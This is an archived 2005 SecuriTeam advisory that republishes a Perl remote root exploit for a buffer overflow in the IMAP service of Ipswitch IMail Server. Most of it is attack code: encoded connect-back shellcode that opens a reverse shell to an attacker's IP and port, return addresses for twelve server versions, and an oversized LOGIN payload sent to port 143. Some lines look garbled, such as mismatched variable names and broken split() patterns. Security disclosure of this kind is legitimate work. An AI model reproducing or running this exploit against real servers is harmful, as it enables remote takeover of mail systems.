

[EXPL] IpSwitch IMAIL Server IMAPD Root Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0051.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/05

To: list@securiteam.com

Date: 10 Aug 2005 15:16:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

IpSwitch IMAIL Server IMAPD Root Exploit)

SUMMARY

<<http://www.ipswitch.com/products/collaboration/index.asp>> Ipswitch Collaboration Suite (ICS) "provides e-mail and real-time collaboration, calendar and contact list sharing, and protection from spam and viruses, all delivered in an easy to use package designed with the unique needs of small and medium sized businesses in mind".

Ipswitch IMail is vulnerable to buffer overflow vulnerabilities, allowing remote attackers to execute arbitrary code on the server.

DETAILS

Vulnerable Systems:

- * Ipswitch IMAIL Server IMAPD version 7.04
- * Ipswitch IMAIL Server IMAPD version 7.07
- * Ipswitch IMAIL Server IMAPD version 7.13
- * Ipswitch IMAIL Server IMAPD version 7.15
- * Ipswitch IMAIL Server IMAPD versions 8.00/8.01/8.02/8.03
- * Ipswitch IMAIL Server IMAPD version 8.04
- * Ipswitch IMAIL Server IMAPD version 8.05 No hotfix
- * Ipswitch IMAIL Server IMAPD versions 8.05HF1/8.05HF2/8.05HF3
- * Ipswitch IMAIL Server IMAPD version 8.10

Securiteam: [EXPL] IpSwitch IMAIL Server IMAPD Root Exploit)

- * Ipswitch IMAIL Server IMAPD version 8.11
- * Ipswitch IMAIL Server IMAPD versions 8.12/8.13/8.14
- * Ipswitch IMAIL Server IMAPD version 8.15

Exploit:

```
# IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope  
# June 2005  
# Confidential!
```

```
use IO::Socket;
```

```
# 316 bytes
```

```
$cb =
```

```
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA"  
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"  
"\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49"  
"\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2"  
"\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49"  
"\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2"  
"\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92"  
"\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2"  
"\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1"  
"\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69"  
"\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B"  
"\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93"  
"\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D"  
"\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE"  
"\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83"  
"\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1"  
"\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49"  
"\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01"  
"\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7"  
"\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68"  
"\xA2\x25\xBB\x04\xBB";
```

```
$numtargets = 12;
```

```
@targets =
```

```
(  
["Ipswitch IMAIL Server IMAPD 7.04", "\x5F\x2E\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 7.07", "\x3F\x34\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 7.13", "\x33\x36\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 7.15", "\x53\x36\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 8.00/8.01/8.02/8.03", "\x53\x36\x01\x10",  
1],  
["Ipswitch IMAIL Server IMAPD 8.04", "\x73\x36\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 8.05 NO HOTFIX", "\xB3\x36\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 8.05HF1/8.05HF2/8.05HF3",  
"\x03\x37\x01\x10", 1],  
["Ipswitch IMAIL Server IMAPD 8.10", "\xFE\xF9\x01\x10", 0],  
["Ipswitch IMAIL Server IMAPD 8.11", "\x8E\x02\x02\x10", 0],
```

Securiteam: [EXPL] IpSwitch IMAIL Server IMAPD Root Exploit)

```
["Ipswitch IMAIL Server IMAPD 8.12/8.13/8.14", "\x2e\x0b\x02\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.15", "\x0e\x0e\x02\x10", 0]
);

print "IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n";
if ($#ARGV ne 3) {
    print "usage: imail.pl target targettype yourip yourport\n\n";
    for ($i=0; $i<$numtargets; $i++) {
        print " [".$i."...] ". $targets[$i][0]. "\r\n";
    }
    exit(0);
}

$tt=$ARGV[1];
$ret = $targets[$tt][1];
$cbip=$ARGV[2];
$cbport=$ARGV[3];

($a1, $a2, $a3, $a4) = split(/, gethostbyname("$cbip"));
$a1 = chr(ord($a1) ^ 0xc2);
$a2 = chr(ord($a2) ^ 0xc2);
$a3 = chr(ord($a3) ^ 0xc2);
$a4 = chr(ord($a4) ^ 0xc2);
substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);

($p1, $p2) = split(/, reverse(pack("s", $cbport)));
$p1 = chr(ord($p1) ^ 0xc2);
$p2 = chr(ord($p2) ^ 0xc2);
substr($cbsc, 118, 2, $p1 . $p2);

print "[*] $ARGV[0]\n";
print "[*] ". $targets[$tt][0]. "\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                             PeerPort => '143',
                             Proto => 'tcp');

$findsc="\x83\xc0\x04\x81\x38\x53\x45\x58".
"\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0";

if ($targets[$tt][2] eq 0) {
    $a="@". "SEXY". $cbsc . "A" x 358 . "\xeb\x04". $ret . "AAAA".
    $findsc . "A" x 1000; # IMAIL > 8.00
}

if ($targets[$tt][2] eq 1) {
    $a="@". "SEXY". $cbsc . "A" x 366 . "\xeb\x04". $ret . "AAAA".
    $findsc . "A" x 1000; # IMAIL 8.00
}

print $sock "a001 LOGIN \"\" . $a . "\" password\r\n";
```

Securiteam: [EXPL] IpSwitch IMAIL Server IMAPD Root Exploit)

```
while(<$sock>) {  
  print;  
}
```

ADDITIONAL INFORMATION

The original article can be found at:
<<http://www.milw0rm.com/id.php?id=1124>>
<http://www.milw0rm.com/id.php?id=1124>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.